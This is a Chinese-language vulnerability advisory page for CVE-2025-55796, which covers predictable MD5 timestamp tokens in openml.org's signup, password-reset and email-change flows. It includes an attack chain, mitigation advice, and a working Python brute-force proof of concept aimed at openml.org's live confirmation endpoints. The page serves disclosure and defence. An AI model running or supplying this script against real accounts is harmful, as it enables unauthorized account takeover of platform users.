IPBUF安全漏洞报告
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CVE-2025-55796 CVSS 7.5 高危

CVE-2025-55796 openml.org 可预测令牌安全漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-55796
漏洞类型
可预测随机数漏洞
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
openml/openml.org

相关标签

可预测随机数认证绕过令牌预测账户接管暴力破解openmlMD5密码重置绕过

漏洞概述

CVE-2025-55796是openml.org Web应用程序v2.0.20241110版本中发现的一个高危安全漏洞。该漏洞存在于用户认证流程的关键环节,包括注册确认、密码重置、邮箱确认重发和邮箱更改确认等功能模块。漏洞的根本原因在于系统使用基于MD5哈希的可预测令牌生成机制。攻击者可以通过暴力破解的方式,在极短的时间窗口内预测有效的认证令牌,从而实现未经授权的账户确认、密码重置和邮箱更改批准。此漏洞可能导致严重的账户接管攻击,影响平台所有用户的账户安全。由于令牌生成过程中未引入用户特定数据或加密随机性,攻击者只需了解大致的请求时间即可生成有效令牌,显著降低了攻击难度。CVSS评分7.5,属于高危漏洞,无需任何认证即可发起攻击。

技术细节

该漏洞的技术根源在于openml.org应用程序使用了不安全的时间戳哈希作为认证令牌。具体实现中,系统采用MD5算法对当前时间戳进行哈希运算,时间格式为%d %H:%M:%S(如2025-11-18的14:30:45),生成令牌用于关键的用户操作确认流程。

漏洞利用的技术细节如下:
1. 令牌生成算法可被完全预测,攻击者可以在本地重现相同的哈希计算过程
2. 时间窗口相对较小,但仍足以在网络延迟范围内覆盖有效令牌
3. MD5算法的计算速度非常快,使得大规模暴力破解成为可能
4. 所有用户共享相同的令牌生成逻辑,缺乏用户特定的熵源

攻击者可以构造一个Python脚本,生成特定时间段内的所有可能令牌,然后针对目标用户的注册确认、密码重置等接口进行暴力尝试。由于系统未实现速率限制或账户锁定机制,攻击者可以在短时间内遍历大量候选令牌,直到找到有效值。成功利用后,攻击者可以完成账户注册确认、密码重置或邮箱更改等敏感操作,从而实现账户接管。

攻击链分析

STEP 1
步骤1
攻击者收集目标用户邮箱地址,可通过公开渠道或社工手段获取
STEP 2
步骤2
攻击者构造密码重置或注册确认请求,触发系统生成令牌
STEP 3
步骤3
攻击者根据已知的时间戳格式和MD5算法,在本地生成候选令牌列表
STEP 4
步骤4
攻击者使用脚本对目标接口发起暴力破解请求,遍历候选令牌
STEP 5
步骤5
系统返回成功响应,攻击者获得有效令牌对应的账户访问权限
STEP 6
步骤6
攻击者完成密码重置或账户确认,实现账户接管

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-55796 PoC - openml.org Predictable Token Generation This PoC demonstrates the token prediction vulnerability in openml.org """ import hashlib from datetime import datetime, timedelta import requests import itertools def generate_predictable_token(timestamp): """ Generate token using the vulnerable MD5-based timestamp hashing Format: MD5("%d %H:%M:%S") """ time_str = timestamp.strftime("%d %H:%M:%S") return hashlib.md5(time_str.encode()).hexdigest() def generate_token_candidates(start_time, end_time, step_seconds=1): """ Generate all possible tokens within a time window """ candidates = [] current = start_time while current <= end_time: token = generate_predictable_token(current) candidates.append((token, current)) current += timedelta(seconds=step_seconds) return candidates def brute_force_token(target_url, email, operation='signup', time_window_minutes=5): """ Brute force attack to find valid token Args: target_url: Base URL of openml.org email: Target user email operation: signup, password_reset, email_change time_window_minutes: Time window to search """ # Calculate time window end_time = datetime.now() start_time = end_time - timedelta(minutes=time_window_minutes) print(f"[*] Generating tokens for time window: {start_time} to {end_time}") candidates = generate_token_candidates(start_time, end_time) print(f"[*] Generated {len(candidates)} token candidates") # Try each token for token, timestamp in candidates: url = f"{target_url}/confirm/{operation}" params = { 'email': email, 'token': token } try: response = requests.get(url, params=params, timeout=5) # Check for successful confirmation if response.status_code == 200 and 'success' in response.text.lower(): print(f"[!] Valid token found: {token}") print(f"[!] Token generated at: {timestamp}") print(f"[!] {operation} confirmed successfully!") return token, timestamp except requests.exceptions.RequestException as e: print(f"[!] Request error: {e}") continue print("[-] No valid token found in time window") return None, None # Example usage if __name__ == "__main__": target = "https://openml.org" victim_email = "[email protected]" print("="*60) print("CVE-2025-55796 - openml.org Predictable Token PoC") print("="*60) # Attack scenarios brute_force_token(target, victim_email, 'signup', time_window_minutes=5) brute_force_token(target, victim_email, 'password_reset', time_window_minutes=5)

影响范围

openml/openml.org v2.0.20241110

防御指南

临时缓解措施
在官方修复发布前,建议采取以下临时缓解措施:1)启用Web应用防火墙(WAF)规则,检测和阻止异常的暴力破解请求;2)实施严格的速率限制,限制每个IP地址的请求频率;3)监控异常的用户认证行为,如同一IP对多个账户的操作;4)考虑临时禁用密码重置等敏感功能,或添加额外的验证步骤(如短信验证码);5)使用IP黑名单机制封禁已知攻击源。

参考链接

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